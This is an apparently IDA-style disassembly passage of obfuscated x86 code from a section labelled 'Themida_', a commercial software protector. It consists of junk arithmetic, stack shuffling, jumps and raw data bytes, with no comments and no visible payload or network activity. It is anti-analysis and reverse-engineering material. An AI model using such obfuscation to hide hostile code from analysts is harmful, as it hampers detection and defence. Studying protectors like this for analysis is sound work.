		dd 24048966h, 2FC6E9h, 0C6EB8100h, 6833D473h, 54CEh, 0B9240C89h
		dd 7C3A5C39h, 0E942D187h, 8CE9h, 5C240C33h, 0E9241489h
		dd 0A4BBh, 0EB81C329h, 2E97301Fh, 74BD5551h, 814C6577h
		dd 0A251E5E5h, 0DCD816Ah, 8124231Eh, 1432CDEDh,	6AB4E941h
		dd 0E9510000h, 1370h, 0BCE9F301h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54832F:				; CODE XREF: Themida_:0054E708j
		push	eax
		push	30372138h
		mov	eax, [esp]
		add	esp, 4
		or	eax, 27564A8Fh
		jmp	loc_551D26
; ---------------------------------------------------------------------------
		db 5Fh,	55h, 0BDh
		dd 3DFF765Fh, 0FFFDFEE9h, 3CD366FFh, 7AE99C24h,	30FFFFE2h
		dd 0F0305BFEh, 0E924148Bh, 56A2h, 0F82CE4B9h, 1CC3E935h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548372:				; CODE XREF: Themida_:0054AB73j
		add	edx, 0B19CD646h
		jmp	loc_54BC03
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 42474FFh, 8124148Bh,	4C4h, 24048F00h, 0FE24248Bh, 0E99C240Ch
		dd 0FFFFE239h, 69E9525Bh, 8900007Ah, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 24348B5Ch, 6804C483h, 3349h, 0FFF707E9h
		dd 815D58FFh, 167BC4EEh, 88EE813Bh, 17BE663h, 5216E9C6h
		dd 0C6810000h, 4, 5852E9h, 2D49BE00h, 0DEF7070Dh, 0AF7FF681h
		dd 0F3899687h, 5BD8295Eh, 0E8C1D8F7h, 0E74B0508h, 0C701485Eh
		dd 50CF0158h, 7B0BE9h, 1DE95D00h, 0D100009Eh, 0D6850E9h
		dd 0E93DFA25h, 6498h, 4B8h, 0E9C30100h,	0A2Ah
; ---------------------------------------------------------------------------


loc_54842C:				; CODE XREF: Themida_:0054D4FDj
		push	ebp
		jmp	loc_54A2EE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F1FBE924h, 8358FFFFh, 1C8904ECh, 0E9E38924h, 87A0h
; ---------------------------------------------------------------------------


loc_548448:				; CODE XREF: Themida_:00547519j
		push	eax
		jmp	loc_54D12B
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 6624048Fh, 6656665Eh, 22474FFh, 24348B66h, 6602C483h
		dd 0E924048Fh, 0FFFFE169h, 2047C75Ch, 639142E3h, 30EBBD55h
		dd 0B4E953B7h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54847F:				; CODE XREF: Themida_:0054801Cj
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 39430466h
		jmp	loc_54B65D
; ---------------------------------------------------------------------------


loc_548493:				; CODE XREF: Themida_:0054AC9Fj
		mov	eax, esp
		add	eax, 4
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		sub	eax, edx
		jmp	loc_5518C6
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 65680000h, 89000032h, 0BBD242Ch, 8111B435h
		dd 0B43509EDh, 119A6811h, 14890000h, 57C8BA24h,	80E91C3Fh
		dd 0B900006Ah, 5F2055DAh, 4244C31h, 0FEB6E959h,	5B59FFFFh
		dd 2434FF59h, 4C4835Bh,	8B66F030h, 0E92414h, 89000077h
		dd 68502414h, 7E9Bh, 0B7241C89h, 436B0ECh, 1573E95Ah, 8B660000h
		dd 0C568240Ch, 89000074h, 8E68240Ch, 8900005Bh,	9DE92424h
		dd 5D000024h, 8955E9h, 0D6B95100h, 533D3160h, 0F64B45BBh
		dd 8BD93152h, 0A3E9241Ch, 29000010h, 491805D0h,	0DCE94885h
		dd 48000054h, 7B23BF57h, 0F831187Eh, 6D2055Fh, 0DE2D70FAh
		dd 8977AC85h, 2434FFC6h, 5124048Bh, 0C181E189h,	4, 8704C183h
		dd 0E95C240Ch, 5B7Bh, 0E953D1F7h, 3478h, 4132D5B9h, 85D4BB73h
		dd 0CB01A575h, 0DBBE5659h, 0F762830Eh, 9AC681D6h, 2DDE8D71h
		dd 4CE87218h, 1805F029h, 0E94CE872h, 7113h
; ---------------------------------------------------------------------------


loc_5485B8:				; CODE XREF: Themida_:00548FF9j
		push	ebx
		mov	ebx, 26FC24B8h
		or	ebx, 75034A08h
		sub	ebx, 32603F1h
		dec	ebx
		jmp	loc_54B062
; ---------------------------------------------------------------------------
		dd 4246C29h, 0C5815D5Dh, 386461F2h, 44DA68h, 241C8900h
		dd 0D8895B55h, 3383E9h,	0E953AC00h, 2AD3h, 70AC685Ah, 1C890000h
		dd 1141BB24h, 0DA017D7Ah, 57241C8Bh, 411EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54860D:				; CODE XREF: Themida_:00550E50j
		push	94D47B1h
		pop	edx
		push	eax
		jmp	loc_54944A
; ---------------------------------------------------------------------------
		db 0B9h, 3Ah, 24h
		dd 0E9C13827h, 83A1E903h, 77FF0000h, 2434FF3Ch,	582434FFh
		dd 4C481h, 89560000h, 7A9168E6h, 1C890000h, 6454BB24h
		dd 0F38121D4h, 21D46450h, 7FD5BA52h, 0D6012755h, 34E8E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54865A:				; CODE XREF: Themida_:005504A9j
		mov	ebx, ecx
		pop	ecx
		jmp	loc_54C317
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 167Ch, 1302F0B8h, 0BE054059h, 2D0E8303h, 12716623h
		dd 24699005h, 58C589F7h, 31B8B951h, 0E9497653h,	0FFFFEA0Eh
		dd 240C8B66h, 539068h, 24148900h, 4DCAE9h, 24348B00h, 4C481h
		dd 0C6810000h, 4, 6804C683h, 6B61h, 0FF243489h,	8B042474h
		dd 0FDE92434h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5486C3:				; CODE XREF: Themida_:0054C71Aj
		pop	ecx
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 133469E2h
		push	edi
		mov	edi, 5E6D48BEh
		sub	[esp+8], edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54FA0A
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 2, 674DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5486F1:				; CODE XREF: Themida_:00549454j
		sub	eax, 14055352h
		push	esi
		mov	esi, 1
		sub	eax, 462B440Dh
		add	eax, esi
		add	eax, 462B440Dh
		jmp	loc_54D470
; ---------------------------------------------------------------------------


loc_54870D:				; CODE XREF: Themida_:0054FEC0j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_54DE96
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 4Ch
		dd 50391152h, 0B47DB3B8h, 58C7097Ah, 7F05F781h,	0F8897BB5h
		dd 83243C8Bh, 472104C4h, 24048B1Ch, 0E904C483h,	7AD3h
		dd 9A2AF6BDh, 0B3CD8149h, 8164E16Fh, 1B52F8EDh,	39610521h
		dd 0E8015B6Ah, 6A39612Dh, 9BE95D5Bh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548777:				; CODE XREF: Themida_:0054AEAFj
		mov	eax, 0D6C4B799h
		jmp	loc_54B708
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 6624248Bh, 0E924048Bh, 0FFFFEDE0h, 81D3F759h, 0A8545DE3h
		dd 415FE90Eh, 34FF0000h, 54575B24h, 3ABA525Fh, 0F774981Bh
		dd 3FC281D2h, 174981Bh,	0C7815AD7h, 4, 8B243C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54A24F
; ---------------------------------------------------------------------------


loc_5487D0:				; CODE XREF: Themida_:0054BDF5j
		mov	ah, 54h
		jmp	loc_54D9FD
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 815EF301h, 4EBh, 74FF5300h, 8F5B0424h, 0E95C2404h
		dd 0FFFFF083h, 83242489h, 5E042404h, 7C24E9h, 97E94E00h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548807:				; CODE XREF: Themida_:0054D692j
		push	ebx
		mov	ebx, 2B327F1Ah
		push	eax
		mov	eax, 2D64BDCh
		mov	ecx, eax
		pop	eax
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54F8B5
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 120007Eh, 4FE9D929h,	5D000007h, 315EF001h, 68FBE9C3h
		dd 0C4810000h, 4, 4EC81h, 4890000h, 4B824h, 0C1010000h
		dd 0E92434FFh, 1988h, 0D5468h, 24148900h, 8850FA88h, 58C588D0h
		dd 0FFED45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548871:				; CODE XREF: Themida_:0054C8B7j
		push	3806h
		jmp	loc_54F544
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B24048Fh, 4EE92424h, 54FFFFDDh, 83241C8Bh, 0C38104C4h
		dd 4, 4C381h, 1C330000h, 8C5EE924h, 8B660000h, 3968240Ch
		dd 89000051h, 0B768241Ch, 8900006Ah, 4812424h, 424h, 241C8B00h
		dd 4C481h, 0C3810000h, 4, 0B685556h, 5D77797Dh,	82F7C581h
		dd 81558886h, 6C9D242Ch, 815E45C7h, 0C76C9DC6h,	0F3015D45h
		dd 0E924348Bh, 4207h, 4EC815Eh,	89000000h, 0AFE92434h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548903:				; CODE XREF: Themida_:0054B16Ej
		sub	dword ptr [edi+20h], 470E372Dh
		dec	dword ptr [edi+20h]
		jmp	loc_54A23C
; ---------------------------------------------------------------------------
		dw 5251h
		dd 0B35309B2h, 54F38088h, 88D88850h, 91E958C5h,	4300000Dh
		dd 8904EC83h, 75B9240Ch, 0E931D80Ah, 9A10h
; ---------------------------------------------------------------------------


loc_548938:				; CODE XREF: Themida_:0054B944j
		sub	ebx, 4D68710Dh
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4000h
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5490E0
; ---------------------------------------------------------------------------
		db 66h
		dd 66240C89h, 66C8B60Fh, 6EE99C51h, 56FFFFDCh, 7E49B068h
		dd 0E6815E04h, 441B51D2h, 11D5E9h, 24148B00h, 47D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_548981:				; CODE XREF: Themida_:005465DFj
		mov	[esp], bx
		jmp	loc_54E83F
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 2E9C02Dh, 0C088E980h, 0F18004E1h, 8CBDE9C1h,	2D580000h
		dd 1FAC7A42h, 2958C289h, 8BD187CAh, 0BAE92414h,	8000006Dh
		dd 0EC8187C3h, 4, 0B6241489h, 5AF32819h, 6166E9h, 3EE8100h
		dd 141D000h, 3C681EEh, 0E941D000h, 26A2h, 6269C781h, 0D7F71C20h
		dd 0F86BF781h, 0F9017A17h, 83243C8Bh, 91E904C4h, 8900003Dh
		dd 2BE2434h, 81000000h,	0DB1A28EDh, 0B8C58169h,	8106F202h
		dd 8717B5EDh, 81F5014Fh, 8717B5C5h, 0B8ED814Fh,	5006F202h
		dd 740CBA52h, 0EA81363Eh, 7136D4Eh, 69C28142h, 893AB013h
		dd 0C5015AD0h, 2C335E58h, 242C3124h, 2F1E9h, 48B6600h
		dd 46E66824h, 0E1E90000h, 81000021h, 0AB540CE2h, 0FCEA817Eh
		dd 150284Fh, 5EA1E9D1h,	8B660000h, 0E953240Ch, 4D0Bh, 4B3BE95Fh
		dd 4890000h, 506DE924h,	0BE560000h, 3782446h, 0EEC1D6F7h
		dd 6E6C106h, 0E902E6C1h, 0FFFFE098h, 148B665Ch,	4EC8324h
		dd 54241489h, 0FFEF30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548AA5:				; CODE XREF: Themida_:0054B304j
		push	esp
		jmp	loc_54D71F
; ---------------------------------------------------------------------------
		db 2Ch
		dd 2EC814Ah, 66000000h,	0E9240C89h, 306Eh, 8105EFC1h, 915D21C7h
		dd 0ED37E91Dh, 48BFFFFh, 4C48324h, 6804C483h, 39FEh, 68240C89h
		dd 41DEh, 0BA241489h, 628C1065h, 76F86856h, 815E4865h
		dd 0FD9D8BC6h, 5EF189BBh, 4B73E9h, 5BD90100h, 8658E9h
		dd 55E95100h, 6800002Dh, 23CB1526h, 91C18159h, 0E927D74Dh
		dd 86F4h
; ---------------------------------------------------------------------------


loc_548B1C:				; CODE XREF: Themida_:00550324j
		mov	ecx, 604F73B3h
		jmp	loc_54E1C3
; ---------------------------------------------------------------------------


loc_548B26:				; CODE XREF: Themida_:0054AA4Ej
		add	ecx, 4
		jmp	loc_54CB75
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 0DA9BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548B3A:				; CODE XREF: Themida_:0054B2D0j
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		jmp	loc_550041
; ---------------------------------------------------------------------------
		dd 835BDA01h, 148704C2h, 45E95C24h, 8100004Dh, 4C1h, 74FF5100h
		dd 8F590424h, 535C2404h, 0BF57E389h, 10F45DD7h,	5DD3EF81h
		dd 0E95110F4h, 8D68h, 0E95EB652h, 537Dh, 5DB920BAh, 5DEA012Eh
		dd 4557CA81h, 0C2816BAEh, 0F370DDFBh, 12E9D331h, 5F00001Ch
		dd 6849CF81h, 19E94577h, 8B000007h, 8951243Ch, 4BD55E1h
		dd 1000000h, 0C1835DE9h, 240C8704h, 75E0E95Ch, 0D0290000h
		dd 0E924148Bh, 6323h
; ---------------------------------------------------------------------------


loc_548BD4:				; CODE XREF: Themida_:005515FFj
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_547292
; ---------------------------------------------------------------------------


loc_548BEB:				; CODE XREF: Themida_:0055271Bj
		shr	edx, 5
		sub	edx, 2EDF0C7Ah
		and	edx, 44824E8Ch
		xor	edx, 49C14FE7h
		sub	ebx, edx
		jmp	loc_54D397
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C18108E9h, 7F9B2A6Eh, 5C45BE56h, 0E6812ACCh, 71E948EAh
		dd 3EEC146h, 59ECC681h,	0F681333Ah, 515B0067h, 0F75EF109h
		dd 7398E9D1h, 4890000h,	4B824h,	0C6010000h, 2BF5758h, 0E9000000h
		dd 0FFFFEDF9h, 24148B66h, 417CE9h, 0C1C68100h, 0E9A6F7F6h
		dd 752Eh, 242C895Ch, 1C5CE9h
		db 0
; ---------------------------------------------------------------------------


loc_548C69:				; CODE XREF: Themida_:00551D4Aj
		xor	esi, [esp]
		jmp	loc_54B1D3
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 90h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_548C77:				; CODE XREF: Themida_:00551FF7j
		neg	ecx
		or	ecx, 14C112E7h
		sub	ecx, 423B95E8h
		mov	ebx, ecx
		jmp	loc_550A45
; ---------------------------------------------------------------------------


loc_548C8C:				; CODE XREF: Themida_:0054C758j
		sub	dword ptr [esp+4], 571E5D22h
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_548CA0:				; CODE XREF: Themida_:005517F2j
		push	4564h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_550E55
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	8324248Bh, 0A30F04C4h, 0E99C2404h
		dd 0FFFFD90Dh, 33241C31h, 0E3E9241Ch
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548CD3:				; CODE XREF: Themida_:005494EBj
		push	ecx
		mov	ecx, 0B1A21B0Dh
		sub	edx, ecx
		pop	ecx
		mov	esi, edx
		jmp	loc_54D63A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 59E9241Ch
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548CEB:				; CODE XREF: Themida_:00546839j
		add	esp, 4
		sub	edi, 3B66130Fh
		sub	eax, edi
		pop	edi
		push	ecx
		push	17ACh
		mov	[esp], ebx
		push	139Ah
		mov	[esp], ecx
		mov	ecx, 1443491Ah
		xor	ecx, 42CE4C42h
		push	ecx
		sub	dword ptr [esp], 5F146A97h
		jmp	loc_54A4E7
; ---------------------------------------------------------------------------
		db 80h
		dd 0ECC0F9ECh, 80CCFE04h, 0E5883EC4h, 4044E958h, 2C330000h
		dd 181EE924h, 14890000h, 3CE95424h, 81000003h, 4C6h, 4C68100h
		dd 87000000h, 0CFE92434h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548D5B:				; CODE XREF: Themida_:00550257j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54AD94
; ---------------------------------------------------------------------------
aSfb		db ')жИFb',0
		align 4
		dd 3705C681h, 0EE015068h, 3705EE81h, 2C8B5068h,	0E71AE924h
		dd 0B850FFFFh, 3EE56E0h, 36BA52h, 0C28157E5h, 0F3CAA69h
		dd 0E95AD001h, 69EDh, 0A530E981h, 0CA29D47Fh, 4EC8159h
		dd 89000000h, 0C168240Ch, 5949D548h, 0C8BCA01h,	4C48324h
		dd 0FFD80CE9h, 5EF001FFh, 2BA525Ah, 0E9000000h,	3E5Eh
		dd 4C4815Bh, 0E9000000h, 51CFh,	240C8B66h, 60668h, 240C8900h
		dd 0BF57E189h, 432F0186h, 8108EFC1h, 847627C7h,	0D5E94F69h
		dd 83FFFFFBh, 348704C6h, 0B60F5C24h, 3E0968C8h,	0C890000h
		dd 0D7B7E924h, 59B9FFFFh, 14F7B51h, 0E140E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E2A:				; CODE XREF: Themida_:0054E0ECj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5514F1
; ---------------------------------------------------------------------------


loc_548E3B:				; CODE XREF: Themida_:0054A1C1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_547B62
; ---------------------------------------------------------------------------
		dw 8758h
		dd 0DBE9241Ch, 5B00004Fh, 0C5815D58h, 4, 9170E9h
		db 0
; ---------------------------------------------------------------------------


loc_548E6D:				; CODE XREF: Themida_:0054C410j
		push	ecx
		mov	ecx, 18BE63D7h
		and	ecx, 615C0EE9h
		not	ecx
		xor	ecx, 0FFE3FD3Ah
		jmp	loc_54BAFB
; ---------------------------------------------------------------------------


loc_548E86:				; CODE XREF: Themida_:0054EE88j
		push	esp
		jmp	loc_54CB16
; ---------------------------------------------------------------------------
		dd 2376C581h, 0C5811023h, 0E16765Eh, 0ED81FD01h, 0E16765Eh
		dd 686CE9h, 1C77FF00h, 0D359669Dh, 0E99C241Ch, 0FFFFD721h
		dd 5EDCBD55h, 0EE292B2Eh, 5EF5895Dh, 0FF1C6F09h, 2C8B2434h
		dd 4E95024h, 5100003Ah,	42356850h, 25586244h, 1A6D6376h
		dd 3502E0C1h, 91108D4h,	158C189h, 240C8BCBh, 5004C483h
		dd 4B8h, 8BC30100h, 0C0E92404h,	29000048h, 0D5EB81C3h
		dd 0E914DA40h, 9675h
; ---------------------------------------------------------------------------


loc_548F0C:				; CODE XREF: Themida_:0054F17Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 9140CDDh
		or	esi, 0D1A3AC4h
		push	edi
		mov	edi, 24FA48CDh
		add	edi, 1
		jmp	loc_5498F1
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd offset dword_4DB370+79h
		dd 0C4815800h, 4, 3E311F35h, 1DB23535h,	40352C75h, 2932C85Ch
		dd 0EE92E9C3h, 405FFFFh, 0E9000000h, 157Bh, 0EC81E389h
		dd 4, 0BA241489h, 142642BDh, 7E3BE955h,	0EB800000h, 5EACE91Bh
		dd 0E95B0000h, 29Ch, 81242C8Bh,	4C4h, 24048F00h, 8FBA525Ch
		dd 8136693Ah, 1EAh, 0A7B95100h,	0F741D826h, 0B5BA52D9h
		dd 0E91D9B02h, 94D6h
; ---------------------------------------------------------------------------


loc_548FB4:				; CODE XREF: Themida_:0054CD6Fj
		pop	esp
		shr	ecx, 2
		push	48F2h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_54F2B2
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2B951h, 0C8010000h, 4FE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_548FED:				; CODE XREF: Themida_:00546604j
		or	ebp, 0AC55F3Ch
		xor	ebp, 7684608h
		jmp	loc_5485B8
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_551D10
; ---------------------------------------------------------------------------


loc_549020:				; CODE XREF: Themida_:0054E3CEj
		add	ebp, 5DE43C70h
		jmp	loc_5507C0
; ---------------------------------------------------------------------------


loc_54902B:				; CODE XREF: Themida_:0054AAD2j
		dec	ebx
		push	ecx
		mov	ecx, 98E97DE8h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_54C076
; ---------------------------------------------------------------------------
		dw 3FBEh
		dd 91EF21Ch, 0E9525EF3h, 0C2Ah,	0DA63E95Bh, 8B66FFFFh
		dd 89512404h, 4C181E1h,	56000000h, 2BD55h, 93680000h, 89000012h
		dd 0E8892404h, 0FFE80FE9h, 242C31FFh, 962CE9h
		db 0
; ---------------------------------------------------------------------------


loc_549079:				; CODE XREF: Themida_:00547E93j
		push	29D64488h
		jmp	loc_54754B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0BB530000h, 2, 4F11C281h, 0DA015685h, 4F11EA81h
		dd 1C8B5685h, 0E6E95024h, 2D00003Dh, 550A4F1Dh,	8E2EE9h
		dd 67E95E00h, 21000085h, 0E99C2404h, 0FFFFD515h, 0EE930FFh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5490C7:				; CODE XREF: Themida_:0054E44Dj
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5512CA
; ---------------------------------------------------------------------------
		dd 592434FFh, 0E9E18951h, 33D1h
; ---------------------------------------------------------------------------


loc_5490E0:				; CODE XREF: Themida_:00548952j
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5510A6
; ---------------------------------------------------------------------------
		dw 3489h
		dd 532B6824h, 295E479Ch, 0E9565EF0h, 33F6h, 0E95AD101h
		dd 0FFFFD77Fh, 8BF0315Ah, 89522434h, 0D0BF57E2h, 0E91B9576h
		dd 7584h
; ---------------------------------------------------------------------------


loc_549128:				; CODE XREF: Themida_:00551C56j
		xchg	esi, ebx
		inc	esi
		xchg	esi, ebx
		jmp	loc_54AF13
; ---------------------------------------------------------------------------
		dw 2D68h
		dd 89000031h, 5F54243Ch, 489AE955h, 815B0000h, 4C5h, 242C3300h
		dd 33242C31h, 248B242Ch, 240C8B24h, 575D5455h, 4BFh, 5FFD0100h
		dd 68685150h, 594DFE15h, 0F38FC181h, 0C8890F11h, 83240C8Bh
		dd 0E0D104C4h, 6008B951h, 0F1810970h, 69073B4Eh, 5E85C981h
		dd 0E9814DC3h, 0FFFFFFFFh, 0FFF27AE9h, 665A66FFh, 0C0E9D2F7h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5491A3:				; CODE XREF: Themida_:0054BC98j
		xchg	ebx, [esp]
		pop	esp
		and	esi, 41A35FDFh
		sub	esi, 152DDh
		jmp	loc_54C174
; ---------------------------------------------------------------------------
		dd 0DBEBE981h, 0CE01177Ah, 4EE8359h, 0E9243487h, 10E4h
		dd 722BED81h, 0C5016440h, 722BC581h, 68586440h,	64BAh
		dd 9BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5491E5:				; CODE XREF: Themida_:0054FA1Bj
		pop	ebp
		add	esp, 4
		jmp	loc_551F0D
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0BB530000h, 4, 0A5E9DE29h, 8B000066h, 59E9241Ch
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54920F:				; CODE XREF: Themida_:0054EFF9j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240431h, 6FDBh, 687EF81h,	0CF0143A2h, 687C781h, 835943A2h
		dd 14E902C7h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54923B:				; CODE XREF: Themida_:00546D2Ej
		mov	ebp, [esp]
		jmp	loc_54CE5F
; ---------------------------------------------------------------------------
		db 81h
		dd 3F64F9E3h, 51F3812Ch, 17C103Bh, 8FB1E9D8h, 0F5200000h
		dd 8324148Bh, 0C58004C4h, 0B3536641h, 0DAC5801Eh, 0ED80DD00h
		dd 0E95B66DAh, 50B5h, 348BF389h, 4C48124h, 1000000h, 5933FFD3h
		dd 51505A5Bh, 74996852h, 34FF658Dh, 8476E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549296:				; CODE XREF: Themida_:0054EAD7j
		pop	esi
		jmp	loc_54DF6C
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 8B542414h
		dd 0C4832414h, 59BD5504h, 0E931055Bh, 290Dh, 0E9240C89h
		dd 3C54h, 0F3BF781h, 0F8895288h, 64F62D5Fh, 0D3051400h
		dd 0F753681Eh, 45CF05D0h, 0F7050A38h, 1632ED6h,	24048BC1h
		dd 4C481h, 72680000h, 89000049h, 49BB241Ch, 0E9656200h
		dd 705Ah, 0B4240489h, 53DEE976h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54930E:				; CODE XREF: Themida_:00546DABj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54F168
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
aRitsTgzbEsxvu@	db 'R┴БS╩',0Dh,'tёz│ц╔И∙╒⌠@⌠И;',1Bh,0
		dw 8B00h
		dd 14682414h, 8900003Ah, 1BE9241Ch, 5500000Bh, 5595E9h
		db 0
; ---------------------------------------------------------------------------


loc_549349:				; CODE XREF: Themida_:00551CDEj
		add	eax, 4
		jmp	loc_549707
; ---------------------------------------------------------------------------


loc_549353:				; CODE XREF: Themida_:0054BD59j
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	3FCh
		jmp	loc_54C3E3
; ---------------------------------------------------------------------------


loc_549378:				; CODE XREF: Themida_:00547B6Bj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_550891
; ---------------------------------------------------------------------------
		db 89h
		dd 24348BF3h, 2904C483h, 18E95BD8h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549393:				; CODE XREF: Themida_:0055279Ej
		shl	ebx, 8
		add	ebx, 2E02C292h
		mov	edi, ebx
		pop	ebx
		or	edi, 27337331h
		dec	edi
		jmp	loc_54C6A1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFF6CDE9h, 5EA7BFFFh, 47E92882h, 87000041h,	895C2434h
		dd 0E954243Ch, 8114h
; ---------------------------------------------------------------------------


loc_5493C8:				; CODE XREF: Themida_:00552925j
		pop	ecx
		xor	edi, esi
		pop	esi
		push	edi
		pop	ebp
		pop	edi
		and	eax, ebp
		jmp	loc_54FA18
; ---------------------------------------------------------------------------
aBi		db '│Къ',0Dh,0
		db 66h
		dd 40D5C381h, 18E914DAh, 0B0FFFFFBh, 2E0C02Fh, 0C8FED8F6h
		dd 0C7289B04h, 752C58h,	8B7504F8h, 0C483241Ch, 7665E904h
		dd 7E680000h, 5F1C9669h, 0E7814747h, 76FF199Dh,	97CEF81h
		dd 2CE91496h, 5B00002Dh, 68E38953h, 100Eh, 0E9240489h
		dd 8727h, 241CF766h, 0D19BE99Ch, 96E9FFFFh, 81FFFFD1h
		dd 4C6h, 6C54E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54944A:				; CODE XREF: Themida_:00548614j
		mov	eax, 1F8C1DD6h
		add	eax, 7B1E572Dh
		jmp	loc_5486F1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Fh, 68000000h,	0D3Dh, 0BA241489h, 4CDF3A29h, 3722BD55h
		dd 0EA013892h, 83242C8Bh, 6E6804C4h, 8900000Dh,	1BD242Ch
		dd 81000000h, 0F73BC2EAh, 50EA0159h, 3A77DEB8h,	6E8C136h
		dd 0FFE31CE9h, 0CD8955FFh, 9315E9h
		db 0
; ---------------------------------------------------------------------------


loc_5494A9:				; CODE XREF: Themida_:0054C6C9j
		xor	edx, 0E46C4BE9h
		xor	ebx, edx
		pop	edx
		sub	edi, 6FF008D3h
		add	edi, ebx
		add	edi, 6FF008D3h
		pop	ebx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	3D6Bh
		mov	[esp], esi
		push	edx
		push	485011ABh
		pop	edx
